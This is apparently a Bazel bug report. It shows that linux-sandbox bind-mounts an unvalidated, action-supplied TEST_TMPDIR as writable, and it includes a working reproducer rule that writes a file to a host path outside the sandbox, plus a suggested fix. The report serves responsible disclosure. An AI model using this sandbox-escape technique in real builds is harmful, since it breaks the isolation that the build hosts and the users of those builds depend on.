linux-sandbox: TEST_TMPDIR from action env is used as -w bind mount without validation; TMPDIR is sanitized, TEST_TMPDIR is not
- Dominant language
- Java
- Stars
- 25.8k
- Forks
- 4.6k
- Avg merge
- 2d 18h
- Merged PRs (30d)
- 75
Description
### Description of the bug:
---
**Description:**
### What happened
In `AbstractSandboxSpawnRunner.getWritableDirs()`, the `TEST_TMPDIR` value from the action's `env` dict is passed directly to `addWritablePath()` and ends up as a `-w ` flag to `linux-sandbox`. There is no validation that the path is inside `sandboxExecRoot`. If the path exists on the host, it gets remounted read-write inside the sandbox mount namespace.
By contrast, `TMPDIR` is stripped from the action env in `PosixLocalEnvProvider.java:49` before it reaches this code. `TEST_TMPDIR` has no equivalent filter.
### Why this looks like a bug (not WAI)
This is the same class of issue that motivated stripping `TMPDIR` in #3296. The fix appears to have been partial — `TMPDIR` was sanitized, `TEST_TMPDIR` was missed.
It also contradicts two documented guarantees:
[Test Encyclopedia](https://bazel.build/reference/test-encyclopedia)
[sandboxing docs](https://bazel.build/docs/sandboxing)
state that `linux-sandbox` makes the filesystem read-only outside the sandbox directory.
A rule-supplied `TEST_TMPDIR` becoming a writable bind-mount target inverts both.
### Reproducer
`escape.bzl`:
```python
def _impl(ctx):
out = ctx.actions.declare_file("done.txt")
ctx.actions.run_shell(
outputs = [out],
env = {"TEST_TMPDIR": ctx.attr.target},
command = 'echo hi > "{t}/proof.txt" && echo ok > "$1"'.format(t = ctx.attr.target),
arguments = [out.path],
)
return [DefaultInfo(files = depset([out]))]
pwn = rule(implementation = _impl, attrs = {"target": attr.string(mandatory = True)})
```
`BUILD.bazel`:
```python
load(":escape.bzl", "pwn")
pwn(name = "x", target = "/tmp/bazel_test_tmpdir_repro")
```
Run:
```
mkdir -p /tmp/bazel_test_tmpdir_repro
USE_BAZEL_VERSION=9.1.0 bazel build :x --spawn_strategy=sandboxed --sandbox_debug
cat /tmp/bazel_test_tmpdir_repro/proof.txt
```
`--sandbox_debug` shows the path being added as a `-w` flag:
```
writable: /tmp/bazel_test_tmpdir_repro
remount rw: /tmp/bazel_test_tmpdir_repro
linux-sandbox: ... -w /tmp/bazel_test_tmpdir_repro ...
```
### Suggested fix
Mirror the `TMPDIR` handling in `PosixLocalEnvProvider`: ignore the action-supplied `TEST_TMPDIR` value, allocate a sandbox-local directory (e.g. `sandboxExecRoot/_test_tmpdir/`), and inject that as the `TEST_TMPDIR` override. The action-supplied value should never reach `addWritablePath()`.
### Version
Bazel 9.1.0, Linux, `--spawn_strategy=sandboxed`.
---
### Which category does this issue belong to?
Local Execution
### What's the simplest, easiest way to reproduce this bug? Please provide a minimal example if possible.
---
## **Bazel Sandbox Escape: Unsanitized `TEST_TMPDIR`**
### **Reproduction**
**Setup:**
```bash
mkdir -p /tmp/bazel_repro && cd /tmp/bazel_repro
mkdir -p /tmp/test_tmpdir_target
```
**`MODULE.bazel`:**
```python
module(name = "repro", version = "0.0.1")
```
**`escape.bzl`:**
```python
def _impl(ctx):
out = ctx.actions.declare_file("done.txt")
ctx.actions.run_shell(
outputs = [out],
env = {"TEST_TMPDIR": ctx.attr.target},
command = 'echo "written from sandboxed action" > "{t}/proof.txt" && echo ok > "$1"'.format(t = ctx.attr.target),
arguments = [out.path],
)
return [DefaultInfo(files = depset([out]))]
demo = rule(
implementation = _impl,
attrs = {"target": attr.string(mandatory = True)},
)
```
**`BUILD.bazel`:**
```python
load(":escape.bzl", "demo")
demo(
name = "x",
target = "/tmp/test_tmpdir_target",
)
```
**Run:**
```bash
bazel build :x --spawn_strategy=sandboxed --sandbox_debug 2>&1 | grep -E "writable:|remount|linux-sandbox"
cat /tmp/test_tmpdir_target/proof.txt
```
**Expected:** the action cannot write outside `sandboxExecRoot`; `/tmp/test_tmpdir_target/proof.txt` should not exist.
**Actual:** `--sandbox_debug` shows `/tmp/test_tmpdir_target` added as a `-w` bind mount; `proof.txt` is written to the host path.
---
### Which operating system are you running Bazel on?
Linux (Arch Linux, x86_64)
### What is the output of `bazel info release`?
_No response_
### If `bazel info release` returns `development version` or `(@non-git)`, tell us how you built Bazel.
_No response_
### What's the output of `git remote get-url origin; git rev-parse HEAD` ?
```text
N/A — not building Bazel from source, using released version via bazelisk.
```
### If this is a regression, please try to identify the Bazel commit where the bug was introduced with bazelisk --bisect.
Not a regression as far as I can tell — the `TEST_TMPDIR` codepath in `AbstractSandboxSpawnRunner.getWritableDirs()` appears to predate the `TMPDIR` sanitization fix in #3296. The issue is that the fix for `TMPDIR` was not extended to the sibling `TEST_TMPDIR` case.
### Have you found anything relevant by searching the web?
- #3296 — prior issue/fix that sanitized `TMPDIR` in `PosixLocalEnvProvider` for the same hermeticity / sandbox-boundary class of concern. The same reasoning applies to `TEST_TMPDIR` but the fix was not extended.
- Test Encyclopedia: https://bazel.build/reference/test-encyclopedia (defines `TEST_TMPDIR` as sandbox-local)
- Sandboxing docs: https://bazel.build/docs/sandboxing (states linux-sandbox prevents host writes)
### Any other information, logs, or outputs that you want to share?
Happy to provide full `--sandbox_debug` output, `/proc/self/mountinfo` from inside the sandbox, or test against Bazel@HEAD if useful.
Contributor guide
Assessment
This issue has not been assessed yet.